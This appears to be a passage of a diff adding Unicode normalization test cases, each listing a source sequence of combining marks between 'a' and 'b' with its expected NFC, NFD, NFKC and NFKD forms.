+{ source: [0x0061, 0x20E9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20E9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20EA, 0x0062], NFC: [0x0061, 0x0334, 0x20EA, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20EA, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20EA, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20EA, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20EA, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20EA, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20EA, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20EA, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20EA, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x20EB, 0x0062], NFC: [0x0061, 0x0334, 0x20EB, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x20EB, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x20EB, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x20EB, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x20EB, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x20EB, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x20EB, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x20EB, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x20EB, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x20EC, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x20EC, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x20EC, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x20EC, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x20EC, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20EC, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x20EC, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x20EC, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x20EC, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x20EC, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x20ED, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x20ED, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x20ED, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x20ED, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x20ED, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20ED, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x20ED, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x20ED, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x20ED, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x20ED, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x20EE, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x20EE, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x20EE, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x20EE, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x20EE, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20EE, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x20EE, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x20EE, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x20EE, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x20EE, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x20EF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x20EF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x20EF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x20EF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x20EF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x20EF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x20EF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x20EF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x20EF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x20EF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x20F0, 0x0062], NFC: [0x00E0, 0x05AE, 0x20F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x20F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x20F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x20F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x20F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x20F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2CEF, 0x0062], NFC: [0x00E0, 0x05AE, 0x2CEF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2CEF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2CEF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2CEF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2CEF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2CEF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2CF0, 0x0062], NFC: [0x00E0, 0x05AE, 0x2CF0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2CF0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2CF0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2CF0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2CF0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2CF0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2CF1, 0x0062], NFC: [0x00E0, 0x05AE, 0x2CF1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2CF1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2CF1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2CF1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2CF1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2CF1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x2D7F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x2D7F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x2D7F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x2D7F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE0, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE1, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE2, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE3, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE4, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE5, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE6, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE7, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE8, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DE9, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DE9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DE9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DE9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DE9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DE9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DE9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEA, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEB, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEC, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DED, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEE, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DEF, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DEF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DEF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DEF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DEF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DEF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DEF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF0, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF1, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF2, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF3, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF4, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF5, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF6, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x2DF6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x2DF6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x2DF7, 0x0062], NFC: [0x00E0, 0x05AE, 0x2DF7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x2DF7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x2DF7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x2DF7, 0x0315, 0x0062] },
